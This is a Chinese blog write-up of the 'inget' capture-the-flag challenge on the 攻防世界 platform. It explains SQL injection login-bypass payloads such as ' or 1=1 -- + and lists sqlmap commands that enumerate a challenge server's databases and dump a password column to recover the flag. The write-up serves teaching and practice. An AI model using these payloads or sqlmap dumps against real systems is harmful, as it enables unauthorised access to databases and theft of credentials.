攻防世界-inget(简单的SQL注入、万能密码)

目录

1、手工注入(万能密码原理)

2、sqlmap实现

3、常用参数


1、手工注入(万能密码原理)

打开链接,提示输入id并尝试绕过

攻防世界-inget(简单的SQL注入、万能密码)_第1张图片

 尝试一下万能密码,使用逻辑语句使结果返回

构造payload

/?id=' or ''='

我们这里是以get传参的方式在前端给id传了个值,后端会对我们提交的内容进行查询

比如我们提交的是 id=123

而到后端大概会呈现出来的部分内容就是 'id=123'

会有单引号将这个内容引起来进行查询

这样我们就好理解上面payload的原理了

我们传入 id=' or ''='     实际上到了后端大概是这样子 'id=' or ''=''

对于我们传入的四个单引号的解释:

第一个单引号,与查询时前面的单引号形成闭合;

第二个单引号,与查询时后面的单引号形成闭合;

第三和第四个单引号实际上只是使等号成立的内容,即'='

我们知道or的两边只要有一边成立,结果就为真,而 单引号=单引号 这个肯定是恒成立的

攻防世界-inget(简单的SQL注入、万能密码)_第2张图片

攻防世界-inget(简单的SQL注入、万能密码)_第3张图片 

我们将 '=' 换成  1=1 也是可以的

即payload

/?id=' or '1=1

攻防世界-inget(简单的SQL注入、万能密码)_第4张图片

攻防世界-inget(简单的SQL注入、万能密码)_第5张图片

 这里还有一个payload

/?id=' or 1=1 -- +

第一个单引号同样是与查询时前面的单引号形成闭合,而 --+ 起注释作用,将后面的语句注释掉

更多详细的SQL手工注入基础知识及流程可参考我前面的博客

http://t.csdn.cn/mFNQA

攻防世界-inget(简单的SQL注入、万能密码)_第6张图片

攻防世界-inget(简单的SQL注入、万能密码)_第7张图片

 结果一样

得到 Flag Is : cyberpeace{818e277716501adc71a98b501c4d7a99}

2、sqlmap实现

下面我们使用sqlmap来注入

关于sqlmap的介绍和使用也在前面的博客中有详细介绍,可以参考

http://t.csdn.cn/8xeJ1


先用sqlmap大概检查一下

sqlmap -u "http://61.147.171.105:54285/?id=1"

攻防世界-inget(简单的SQL注入、万能密码)_第8张图片

尝试列出所以数据库

sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs 
 攻防世界-inget(简单的SQL注入、万能密码)_第9张图片

攻防世界-inget(简单的SQL注入、万能密码)_第10张图片

可以看到有一个名为cyber的数据库,我们指定列出它的表

列出指定数据库的表

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables 

攻防世界-inget(简单的SQL注入、万能密码)_第11张图片

攻防世界-inget(简单的SQL注入、万能密码)_第12张图片

 可以看到这个数据库里只有一个表,且和数据库同名

我们继续列出指定表的字段

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber --columns 

攻防世界-inget(简单的SQL注入、万能密码)_第13张图片

攻防世界-inget(简单的SQL注入、万能密码)_第14张图片

 尝试获取指定字段中的数据

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber -C pw --dump

攻防世界-inget(简单的SQL注入、万能密码)_第15张图片

攻防世界-inget(简单的SQL注入、万能密码)_第16张图片

 拿到flag

cyberpeace{818e277716501adc71a98b501c4d7a99}

3、常用参数

总结一些sqlmap常用的参数:

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--tables 列出当前的表

--columns 列出当前的列

--dump 获取字段中的数据

你可能感兴趣的:(web,SQL,CTF,数据库,sql注入,sqlmap,万能密码,网络安全)